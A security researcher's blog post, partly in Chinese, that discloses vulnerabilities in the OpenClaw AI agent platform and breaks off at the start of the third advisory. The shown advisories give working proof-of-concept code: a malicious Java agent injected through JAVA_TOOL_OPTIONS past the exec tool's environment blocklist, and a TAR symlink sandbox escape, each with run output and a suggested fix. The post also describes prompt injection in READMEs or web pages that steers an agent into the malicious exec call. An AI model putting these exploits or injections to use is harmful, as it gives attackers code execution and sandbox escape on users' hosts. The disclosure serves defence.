ZyVOP Logo
Content That Connects
SeriesAI NewsWhy ZyVOPJoin Discord
ZyVOP Logo
Content That Connects

Empowering developers and creators with cutting-edge insights, comprehensive tutorials, and innovative solutions for the digital future.

Content

  • Categories
  • Tags
  • Badges
  • Leaderboard
  • Write Article
  • Newsletter

Company

  • About Us
  • Why ZyVOP
  • API Documentation
  • Write for Us
  • Contact

Connect

  • Privacy Policy
  • Terms of Service
  • Cookie Policy
  • DMCA Policy
  • Code of Conduct

© 2026 ZyVOP. Crafted with care for the developer community.

Made with ❤️ by the ZyVOP team
All systems operational
HomeOpenClaw 17 vulnerability attack surfaces, only one fixed at the time of publishing this article

OpenClaw 17 vulnerability attack surfaces, only one fixed at the time of publishing this article

I0veD
I0veDcyber security researcher
August 12, 2026
10 min read
OpenClaw 17 vulnerability attack surfaces, only one fixed at the time of publishing this article
#0day漏洞挖掘/1day漏洞复现系列

挖了一些openclaw的漏洞 有一些是官方不同意收录的,什么沙箱逃逸、组件型ssrf bypass等等,然后我后面发现官方后面又直接修复了,还好我有在用ai实时监控,为了防止再被捡漏 所以在此公开,并已提交相关pr修复(当然2026/3/15之修复了一个)。


漏洞统计概览

严重级别

数量

Critical

1

High

8

Medium

8

总计

17

漏洞清单

编号

严重级别

漏洞名称

类型

GHSA-017

Critical

JSON5 原型污染 (config.patch)

原型污染

GHSA-001

High

环境变量黑名单绕过 (JVM/CLR/Build-Tool 注入)

代码执行

GHSA-002

High

TAR 提取目标目录符号链接绕过

沙箱逃逸

GHSA-004

High

Firecrawl 集成 SSRF 与 API Key 泄露

SSRF + 凭证泄露

GHSA-007

High

TTS Provider SSRF 与 API Key 泄露

SSRF + 凭证泄露

GHSA-010

High

Anthropic/Gemini PDF Provider SSRF

SSRF + 凭证泄露

GHSA-011

High

Anthropic PDF SSRF (x-api-key 泄露)

SSRF + 凭证泄露

GHSA-012

High

Gemini PDF SSRF (URL 查询参数密钥泄露)

SSRF + 凭证泄露

GHSA-014

High

MiniMax VLM SSRF (API Key + 图像泄露)

SSRF + 凭证泄露

GHSA-003

Medium

Windows 平台 O_NOFOLLOW 缺失导致新文件逃逸

工作区逃逸

GHSA-005

Medium

agentDir 配置路径遍历

路径遍历

GHSA-006

Medium

浏览器扩展 Relay Token URL 泄露

凭证暴露

GHSA-008

Medium

Media Parse 路径遍历绕过

路径遍历

GHSA-009

Medium

Ollama/vLLM SSRF (模型发现与 Stream)

SSRF

GHSA-013

Medium

Ollama Stream SSRF (聊天内容泄露)

SSRF

GHSA-015

Medium

Relay Token URL 暴露 (日志/历史记录)

凭证暴露

GHSA-016

Medium

Agent 目录路径遍历 (resolveUserPath)

路径遍历


目录

Critical 级别

  • GHSA-017: JSON5 原型污染 (config.patch)

High 级别

  • GHSA-001: 环境变量黑名单绕过 (JVM/CLR/Build-Tool 注入)

  • GHSA-002: TAR 提取目标目录符号链接绕过

  • GHSA-004: Firecrawl 集成 SSRF 与 API Key 泄露

  • GHSA-007: TTS Provider SSRF 与 API Key 泄露

  • GHSA-010: Anthropic/Gemini PDF Provider SSRF

  • GHSA-011: Anthropic PDF SSRF (x-api-key 泄露)

  • GHSA-012: Gemini PDF SSRF (URL 查询参数密钥泄露)

  • GHSA-014: MiniMax VLM SSRF (API Key + 图像泄露)

Medium 级别

  • GHSA-003: Windows 平台 O_NOFOLLOW 缺失导致新文件逃逸

  • GHSA-005: agentDir 配置路径遍历

  • GHSA-006: 浏览器扩展 Relay Token URL 泄露

  • GHSA-008: Media Parse 路径遍历绕过

  • GHSA-009: Ollama/vLLM SSRF (模型发现与 Stream)

  • GHSA-013: Ollama Stream SSRF (聊天内容泄露)

  • GHSA-015: Relay Token URL 暴露 (日志/历史记录)

  • GHSA-016: Agent 目录路径遍历 (resolveUserPath)


GHSA-001: Environment Variable Blocklist Bypass via JVM/CLR/Build-Tool Injection Vectors

严重级别: High  |  类型: 代码执行  |  状态: 已验证

Summary

The environment variable sanitization in OpenClaw’s host execution path fails to block several well-known code-execution-capable environment variables. An agent (or a malicious prompt injection payload) can pass attacker-controlled values for JAVA_TOOL_OPTIONS, DOTNET_STARTUP_HOOKS, MAVEN_OPTS, GRADLE_OPTS, RUSTFLAGS, and others through the env parameter of the exec tool. These variables survive both validateHostEnv() and sanitizeHostExecEnv() and reach the child process, allowing arbitrary code loading in JVM, .NET CLR, Ansible, and Rust toolchain contexts.

Severity

High (CVSS 8.1) – Arbitrary code execution on the host when the spawned process is a JVM, .NET, Ansible, Maven, Gradle, or Rust toolchain invocation.

Affected Component

  • src/infra/host-env-security-policy.json – blocklist definitions

  • src/infra/host-env-security.ts – isDangerousHostEnvVarName(), isDangerousHostEnvOverrideVarName(), sanitizeHostExecEnv()

  • src/agents/bash-tools.exec-runtime.ts – validateHostEnv(), execSchema

  • src/node-host/invoke-system-run.ts – sanitizeSystemRunEnvOverrides()

Affected Versions

Current main branch as of 2026-03-10. The blocklist has not been updated to include these variables at any point in the commit history.

Root Cause

The exec tool schema (src/agents/bash-tools.exec-runtime.ts:98-101) exposes an env parameter to the AI agent:

// src/agents/bash-tools.exec-runtime.ts:98-101
export const execSchema = Type.Object({
  command: Type.String({ description: "Shell command to execute" }),
  workdir: Type.Optional(Type.String({ ... })),
  env: Type.Optional(Type.Record(Type.String(), Type.String())),
  ...
});

When an agent calls the exec tool with env: { "JAVA_TOOL_OPTIONS": "-javaagent:/tmp/evil.jar" }, the value flows through two sanitization stages. Neither blocks it.

Stage 1 – validateHostEnv() (src/agents/bash-tools.exec-runtime.ts:57-76):

export function validateHostEnv(env: Record<string, string>): void {
  for (const key of Object.keys(env)) {
    const upperKey = key.toUpperCase();
    if (isDangerousHostEnvVarName(upperKey)) {  // checks blockedKeys + blockedPrefixes only
      throw new Error(`Security Violation: ...`);
    }
    if (upperKey === "PATH") {
      throw new Error("Security Violation: ...");
    }
  }
}

isDangerousHostEnvVarName() (src/infra/host-env-security.ts:59-69) checks against blockedKeys and blockedPrefixes from host-env-security-policy.json. JAVA_TOOL_OPTIONS is in neither list.

Stage 2 – sanitizeHostExecEnv() (src/infra/host-env-security.ts:108-126):

for (const [rawKey, value] of Object.entries(overrides)) {
  ...
  if (isDangerousHostEnvVarName(upper) || isDangerousHostEnvOverrideVarName(upper)) {
    continue;
  }
  merged[key] = value;  // JAVA_TOOL_OPTIONS lands here
}

isDangerousHostEnvOverrideVarName() checks blockedOverrideKeys and blockedOverridePrefixes. JAVA_TOOL_OPTIONS is not in those lists either. The variable passes through both checks and enters the child process environment.

Full call chain:

Agent tool call { env: { "JAVA_TOOL_OPTIONS": "..." } }
  -> bash-tools.exec.ts:369  validateHostEnv(params.env)        -- PASS (not in blockedKeys)
  -> bash-tools.exec.ts:407  requestedEnv: params.env
  -> bash-tools.exec-host-node.ts:133  nodeEnv = params.requestedEnv
  -> bash-tools.exec-host-node.ts:210  params: { env: nodeEnv, ... }
  -> node-host/invoke-system-run.ts:223-224
       sanitizeSystemRunEnvOverrides({ overrides: opts.params.env, shellWrapper: false })
       shellWrapper=false -> return overrides unchanged               -- PASS (not a shell wrapper)
  -> node-host/invoke-system-run.ts:238
       opts.sanitizeEnv(envOverrides) = sanitizeHostExecEnv({ overrides, blockPathOverrides: true })
       isDangerousHostEnvVarName("JAVA_TOOL_OPTIONS") -> false        -- PASS
       isDangerousHostEnvOverrideVarName("JAVA_TOOL_OPTIONS") -> false -- PASS
       merged["JAVA_TOOL_OPTIONS"] = "-javaagent:/tmp/evil.jar"       -- INJECTED
  -> child process spawned with JAVA_TOOL_OPTIONS in env

Missing Variables

The following environment variables allow arbitrary code loading in their respective runtimes but are absent from all four blocklists in host-env-security-policy.json:

Variable

Runtime

Effect

JAVA_TOOL_OPTIONS

JVM

Loads arbitrary -javaagent: JAR at JVM startup

JDK_JAVA_OPTIONS

JVM (JDK 9+)

Same as JAVA_TOOL_OPTIONS for modern JDK

_JAVA_OPTIONS

JVM (Oracle/OpenJDK)

Same, older variant

MAVEN_OPTS

Maven

Passes JVM flags to Maven, including -javaagent:

GRADLE_OPTS

Gradle

Passes JVM flags to Gradle

DOTNET_STARTUP_HOOKS

.NET CLR

Loads arbitrary .NET assembly at CLR startup

CORECLR_ENABLE_PROFILING

.NET CLR

Enables CLR profiling

CORECLR_PROFILER_PATH

.NET CLR

Loads arbitrary native profiler .so/.dll

ANSIBLE_FILTER_PLUGINS

Ansible

Loads arbitrary Python plugin modules

ANSIBLE_CALLBACK_PLUGINS

Ansible

Loads arbitrary Python callback modules

RUSTFLAGS

rustc

Passes arbitrary flags including -C link-arg= for linker injection

Reproduction Steps

Prerequisites

  • OpenClaw instance with host execution enabled (exec host = gateway or node)

  • Java, .NET, or any of the above runtimes installed on the host

Step 1: Verify blocklist contents

复现截图 - 已拦截变量确认:

Image

Step 1

Read src/infra/host-env-security-policy.json and confirm none of the 11 variables above appear in blockedKeys, blockedOverrideKeys, blockedPrefixes, or blockedOverridePrefixes.

Step 2: Programmatic verification against sanitization functions

复现截图 - 绕过过滤器的变量:

Image

Step 2

// verify_env_bypass.js
// Run from the openclaw-src root after building, or use ts-node/tsx

const policy = require("./src/infra/host-env-security-policy.json");

const allBlocked = new Set([
...policy.blockedKeys.map(k => k.toUpperCase()),
...(policy.blockedOverrideKeys || []).map(k => k.toUpperCase()),
]);
const allBlockedPrefixes = [
...policy.blockedPrefixes.map(p => p.toUpperCase()),
...(policy.blockedOverridePrefixes || []).map(p => p.toUpperCase()),
];

const attackVars = [
"JAVA_TOOL_OPTIONS",
"JDK_JAVA_OPTIONS",
"_JAVA_OPTIONS",
"DOTNET_STARTUP_HOOKS",
"CORECLR_ENABLE_PROFILING",
"CORECLR_PROFILER_PATH",
"ANSIBLE_FILTER_PLUGINS",
"ANSIBLE_CALLBACK_PLUGINS",
"MAVEN_OPTS",
"GRADLE_OPTS",
"RUSTFLAGS",
];

for (const v of attackVars) {
const inSet = allBlocked.has(v);
const prefixMatch = allBlockedPrefixes.some(p => v.startsWith(p));
if (!inSet && !prefixMatch) {
console.log(BYPASSES BLOCKLIST:${v});
}
}

Expected output: all 11 variables print “BYPASSES BLOCKLIST”.

Step 3: End-to-end JVM code execution (verified on JDK 25.0.2, Windows 10)

3a. Create a malicious Java agent:

// EvilAgent.java
import java.lang.instrument.Instrumentation;
import java.io.File;
import java.io.FileWriter;

public class EvilAgent {
public static void premain(String args, Instrumentation inst) {
System.out.println("!!!! EVIL AGENT PREMAIN EXECUTED !!!!");
System.out.println("!!!! PID: " + ProcessHandle.current().pid());
try {
File proof = new File("PWNED.txt");
FileWriter fw = new FileWriter(proof);
fw.write("Code execution achieved via JAVA_TOOL_OPTIONS injection.\n");
fw.write("Timestamp: " + System.currentTimeMillis() + "\n");
fw.write("PID: " + ProcessHandle.current().pid() + "\n");
fw.write("User: " + System.getProperty("user.name") + "\n");
fw.close();
} catch (Exception e) { }
}
}

// MANIFEST.MF
Premain-Class: EvilAgent
javac EvilAgent.java
jar cfm evil-agent.jar MANIFEST.MF EvilAgent.class

3b. Create a benign target application:

// Innocent.java
public class Innocent {
    public static void main(String[] args) {
        System.out.println("Hello from innocent application.");
    }
}
javac Innocent.java

3c. Simulate the full OpenClaw filter chain and spawn java:

// final_poc.js -- uses real OpenClaw policy, not a mock
const fs = require("fs");
const { spawnSync } = require("child_process");
const policy = JSON.parse(fs.readFileSync(
  "openclaw-src/src/infra/host-env-security-policy.json", "utf8"
));

// Reimplement OpenClaw's isDangerousHostEnvVarName + isDangerousHostEnvOverrideVarName
const blockedKeys = new Set(policy.blockedKeys.map(k => k.toUpperCase()));
const blockedPrefixes = policy.blockedPrefixes.map(p => p.toUpperCase());
const blockedOverrideKeys = new Set(
(policy.blockedOverrideKeys || []).map(k => k.toUpperCase())
);
const blockedOverridePrefixes = (policy.blockedOverridePrefixes || []).map(
p => p.toUpperCase()
);
function isDangerous(key) {
const u = key.toUpperCase();
if (blockedKeys.has(u)) return true;
if (blockedOverrideKeys.has(u)) return true;
if (blockedPrefixes.some(p => u.startsWith(p))) return true;
if (blockedOverridePrefixes.some(p => u.startsWith(p))) return true;
return false;
}

const agentEnv = { JAVA_TOOL_OPTIONS: "-javaagent:evil-agent.jar" };
const finalEnv = { PATH: process.env.PATH, SYSTEMROOT: process.env.SYSTEMROOT };
for (const [k, v] of Object.entries(agentEnv)) {
if (!isDangerous(k)) finalEnv[k] = v; // passes through
}

const r = spawnSync("java", ["-cp", ".", "Innocent"], { env: finalEnv, encoding: "utf-8" });
console.log(r.stdout);
console.log(r.stderr);

3d. Observed output (actual run, 2026-03-10):

复现截图 - 子进程环境验证:

Image

Step 3

STDOUT:
!!!! EVIL AGENT PREMAIN EXECUTED !!!!
!!!! PID: 148880
!!!! This code ran BEFORE the application's main()
!!!! Proof file written to PWNED.txt
Hello from innocent application.

STDERR:
Picked up JAVA_TOOL_OPTIONS: -javaagent:C:\Users\PC\Desktop\openclaw-audit\java-poc\evil-agent.jar

EXIT CODE: 0

3e. Proof file content (PWNED.txt):

复现截图 - JVM 代码执行证明:

Image

Step 4

Code execution achieved via JAVA_TOOL_OPTIONS injection.
Timestamp: 1773127510489
PID: 148880
User: PC

The JVM loaded evil-agent.jar via JAVA_TOOL_OPTIONS and executed EvilAgent.premain() before Innocent.main(). The attacker’s code wrote an arbitrary file to disk, confirming full code execution.

Step 4: Agent-side trigger

An attacker embeds a prompt injection payload in a repository README, fetched web page, or issue body that causes the OpenClaw agent to call:

{
  "command": "javac Main.java",
  "env": { "JAVA_TOOL_OPTIONS": "-javaagent:evil-agent.jar" }
}

The exec tool schema accepts this. The filter chain passes JAVA_TOOL_OPTIONS through. The JVM loads the agent JAR before compilation starts.

Impact

An attacker who can influence agent tool calls (via prompt injection in user-provided content, fetched URLs, or repository files) can achieve arbitrary code execution on the host machine whenever the spawned command involves JVM, .NET CLR, Ansible, Maven, Gradle, or Rust toolchains. This bypasses the existing env variable security boundary without triggering any validation error.

This was verified end-to-end on Windows 10 with JDK 25.0.2: the attacker’s premain() method executed before the target application’s main(), and successfully wrote an arbitrary file to disk.

Suggested Fix

Add the missing variables to blockedKeys in src/infra/host-env-security-policy.json:

{
  "blockedKeys": [
    "NODE_OPTIONS", "NODE_PATH", "PYTHONHOME", "PYTHONPATH",
    "PERL5LIB", "PERL5OPT", "RUBYLIB", "RUBYOPT",
    "BASH_ENV", "ENV", "GIT_EXTERNAL_DIFF", "SHELL", "SHELLOPTS",
    "PS4", "GCONV_PATH", "IFS", "SSLKEYLOGFILE",
    "JAVA_TOOL_OPTIONS", "JDK_JAVA_OPTIONS", "JAVA_OPTIONS",
    "DOTNET_STARTUP_HOOKS", "CORECLR_ENABLE_PROFILING", "CORECLR_PROFILER_PATH",
    "ANSIBLE_FILTER_PLUGINS", "ANSIBLE_CALLBACK_PLUGINS",
    "MAVEN_OPTS", "GRADLE_OPTS", "RUSTFLAGS"
  ],
  ...
}

Consider also adding prefix-based blocks for ANSIBLE and CORECLR_ to catch future variants.


GHSA-002: TAR Archive Extraction Destination Directory Symlink Bypass

严重级别: High  |  类型: 沙箱逃逸  |  状态: 已验证

Summary

The TAR extraction path in src/infra/archive.ts does not validate whether the destination directory (destDir) is a symbolic link before extracting files into it. The ZIP extraction path correctly calls assertDestinationDirReady() which rejects symlinked destination directories, but the TAR path skips this check entirely. An attacker who can place a symlink at the expected extraction directory can redirect TAR extraction output to an arbitrary location on the filesystem, escaping sandbox boundaries.

Severity

High (CVSS 7.5) – Directory traversal / sandbox escape via symlink at extraction destination.

Affected Component

  • src/infra/archive.ts – extractArchive() (TAR path, line 627-678) vs extractZip() (line 507-580)

Affected Versions

Current main branch as of 2026-03-10.

Root Cause

archive.ts implements two extraction paths with asymmetric security checks:

ZIP path (extractZip, line 507-514) – correctly validates destDir:

// src/infra/archive.ts:507-514
async function extractZip(params: {
  archivePath: string;
  destDir: string;
  stripComponents?: number;
  limits?: ArchiveExtractLimits;
}): Promise<void> {
  const limits = resolveExtractLimits(params.limits);
  const destinationRealDir = await assertDestinationDirReady(params.destDir);  // <-- checks symlink
  ...
}

assertDestinationDirReady() (line 227-235) performs an lstat() on destDir and rejects it if it is a symbolic link:

// src/infra/archive.ts:227-235
async function assertDestinationDirReady(destDir: string): Promise<string> {
  const stat = await fs.lstat(destDir);
  if (stat.isSymbolicLink()) {
    throw new ArchiveSecurityError("destination-symlink", "archive destination is a symlink");
  }
  if (!stat.isDirectory()) {
    throw new ArchiveSecurityError(
      "destination-not-directory",
      "archive destination is not a directory",
    );
  }
  ...
}

TAR path (extractArchive, line 627-678) – skips this check:

// src/infra/archive.ts:642-658
if (kind === "tar") {
  const limits = resolveExtractLimits(params.limits);
  const stat = await fs.stat(params.archivePath);
  if (stat.size > limits.maxArchiveBytes) {
    throw new Error(ERROR_ARCHIVE_SIZE_EXCEEDS_LIMIT);
  }

const checkTarEntrySafety = createTarEntrySafetyChecker({
rootDir: params.destDir, // <-- raw destDir, NO assertDestinationDirReady() call
stripComponents: params.stripComponents,
limits,
});
await withTimeout(
tar.x({
file: params.archivePath,
cwd: params.destDir, // <-- tar extracts here; if symlink, follows to target
...
}),
params.timeoutMs,
label,
);
return;
}

The TAR path passes params.destDir directly as both rootDir for entry safety checking and cwd for tar.x(). If destDir is a symlink, path.resolve(destDir, entryPath) in the safety checker resolves lexically (no realpath), so startsWith(rootDir) passes. But tar.x({ cwd: destDir }) follows the symlink, writing files to the symlink target.

createTarEntrySafetyChecker() (line 591-625) only validates individual entry paths against rootDir; it does not check whether rootDir itself is a symlink:

// src/infra/archive.ts:591-597
export function createTarEntrySafetyChecker(params: {
  rootDir: string;           // taken as-is, never resolved via realpath or lstat
  stripComponents?: number;
  limits?: ArchiveExtractLimits;
  escapeLabel?: string;
}): (entry: TarEntryInfo) => void {
  ...
}

Reproduction Steps

Prerequisites

  • Linux/macOS system (symlink creation does not require elevated privileges)

  • OpenClaw instance that handles TAR archive extraction (MCP tool installations, ACP sandbox file staging, or any feature that extracts .tar.gz archives)

Step 1: Confirm the code asymmetry

cd openclaw-src

ZIP path calls assertDestinationDirReady:

grep -n "assertDestinationDirReady" src/infra/archive.ts

Output: line 227 (definition), line 514 (ZIP call)

Note: NO call in the TAR path (lines 642-678)

复现截图 - TAR/ZIP 代码不对称确认:

Image

Step 1

Step 2: End-to-end exploitation (verified on Windows 10, Node.js 22, npm tar 7.x)

复现截图 - 设置符号链接和 TAR 归档:

Image

Step 2

复现截图 - TAR 提取过程:

Image

Step 3

// tar_symlink_poc.js

const fs = require("fs");
const path = require("path");
const tar = require("tar");
const os = require("os");

const BASE = path.join(os.tmpdir(), "oclaw-tar-poc");
const SANDBOX_ROOT = path.join(BASE, "sandbox");
const OUTSIDE_DIR = path.join(BASE, "outside-sandbox");
const EXTRACT_DEST = path.join(SANDBOX_ROOT, "project"); // will be a junction
const ARCHIVE_PATH = path.join(BASE, "payload.tar");

async function main() {
// Setup
fs.rmSync(BASE, { recursive: true, force: true });
fs.mkdirSync(SANDBOX_ROOT, { recursive: true });
fs.mkdirSync(OUTSIDE_DIR, { recursive: true });

// Create junction at extraction destination -> outside sandbox
fs.symlinkSync(OUTSIDE_DIR, EXTRACT_DEST, "junction");
// On Linux: ln -s $OUTSIDE_DIR $EXTRACT_DEST

// Create tar with payload
const src = path.join(BASE, "tar-content");
fs.mkdirSync(src, { recursive: true });
fs.writeFileSync(path.join(src, "pwned.txt"),
"Written OUTSIDE sandbox via TAR destDir symlink bypass.\n");
await tar.c({ file: ARCHIVE_PATH, cwd: src }, ["pwned.txt"]);

// Replicate OpenClaw extractArchive() TAR path (archive.ts:656-674)
//NOTE: no assertDestinationDirReady() call
await tar.x({
file: ARCHIVE_PATH,
cwd: EXTRACT_DEST, // junction -> OUTSIDE_DIR
preservePaths: false,
strict: true,
});

// Verify
const proof = path.join(OUTSIDE_DIR, "pwned.txt");
console.log("File outside sandbox:", fs.existsSync(proof));
console.log("Content:", fs.readFileSync(proof, "utf8"));
}
main();

Observed output (actual run, 2026-03-10):

[1] Setting up directory structure...
    Sandbox root:   C:\Users\PC\AppData\Local\Temp\oclaw-tar-poc\sandbox
    Extract dest:   C:\Users\PC\AppData\Local\Temp\oclaw-tar-poc\sandbox\project
    -> isSymlink:   true
    -> points to:   C:\Users\PC\AppData\Local\Temp\oclaw-tar-poc\outside-sandbox (OUTSIDE sandbox)

[2] Creating tar archive with payload...
Archive created: C:\Users\PC\AppData\Local\Temp\oclaw-tar-poc\payload.tar

[3] Extracting with tar.x({ cwd: destDir }) -- replicating OpenClaw code...
Extraction completed.

[4] Checking results...
File at OUTSIDE location: EXISTS
Path: C:\Users\PC\AppData\Local\Temp\oclaw-tar-poc\outside-sandbox\pwned.txt
Content: This file was written OUTSIDE the sandbox via TAR destDir symlink bypass.
Timestamp: 1773127989959

Sandbox root (real): C:\Users\PC\AppData\Local\Temp\oclaw-tar-poc\sandbox
File landed at (real): C:\Users\PC\AppData\Local\Temp\oclaw-tar-poc\outside-sandbox
File is OUTSIDE sandbox: true

[5] Contrast: what assertDestinationDirReady() would do...
-> lstat().isSymbolicLink() = true
-> Would throw: ArchiveSecurityError("destination-symlink")
-> ZIP path: BLOCKED (correct)
-> TAR path: NOT CHECKED (vulnerable)

=== RESULT ===
EXPLOIT SUCCESSFUL: TAR extraction wrote files outside the sandbox

The file pwned.txt was written to outside-sandbox/ despite the extraction target appearing to be inside sandbox/project/. The junction redirected all writes outside the sandbox boundary.

Step 3: Contrast with ZIP behavior

复现截图 - 验证沙箱逃逸:

Image

Step 4

If the same extraction were done with a ZIP archive, assertDestinationDirReady() (line 514) would call fs.lstat(destDir), detect the symlink, and throw ArchiveSecurityError("destination-symlink", "archive destination is a symlink"). Extraction would be blocked.

Impact

An attacker who can create a symlink at an expected TAR extraction destination can redirect extracted file writes to arbitrary filesystem locations. In the context of OpenClaw:

  1. Sandbox escape: If TAR extraction targets a directory within a sandbox boundary, the symlink can point outside the sandbox, allowing file writes to the host filesystem.

  1. Arbitrary file overwrite: Extracted files land at the symlink target, potentially overwriting configuration files, scripts, or other sensitive data.

  1. Code execution: If the overwritten files are subsequently executed (scripts, config files loaded by services), this leads to code execution.

The attack requires the ability to create a symlink at the extraction destination path before extraction occurs. This is feasible in scenarios where:
- The attacker has limited write access to the sandbox filesystem
- A prior path traversal or file write vulnerability allows symlink creation
- The extraction destination is in a shared or user-writable directory

Suggested Fix

Call assertDestinationDirReady() in the TAR path, matching the ZIP path behavior:

// src/infra/archive.ts, inside extractArchive(), TAR branch:
if (kind === "tar") {
  const limits = resolveExtractLimits(params.limits);
  const stat = await fs.stat(params.archivePath);
  if (stat.size > limits.maxArchiveBytes) {
    throw new Error(ERROR_ARCHIVE_SIZE_EXCEEDS_LIMIT);
  }

const destinationRealDir = await assertDestinationDirReady(params.destDir); // ADD THIS

const checkTarEntrySafety = createTarEntrySafetyChecker({
rootDir: destinationRealDir, // use resolved real path
stripComponents: params.stripComponents,
limits,
});
await withTimeout(
tar.x({
file: params.archivePath,
cwd: destinationRealDir, // use resolved real path
...
}),
params.timeoutMs,
label,
);
return;
}


GHSA-003: Windows Platform: New File Creation Escapes Workspace via Directory Junction (Missing O_NOFOLLOW)

严重级别: Medium  |  类型: 工作区逃逸  |  状态: 已验证

I0veD

I0veD

cyber security researcher

Cloud Native & AI Sec Researcher Red Team | BAS | K8s | Evasion 20+ CVEs | CNVD/CNNVD Contributor 🛡️ AI-Driven Blue Team 👇 Works

Comments (0)

Login to post a comment.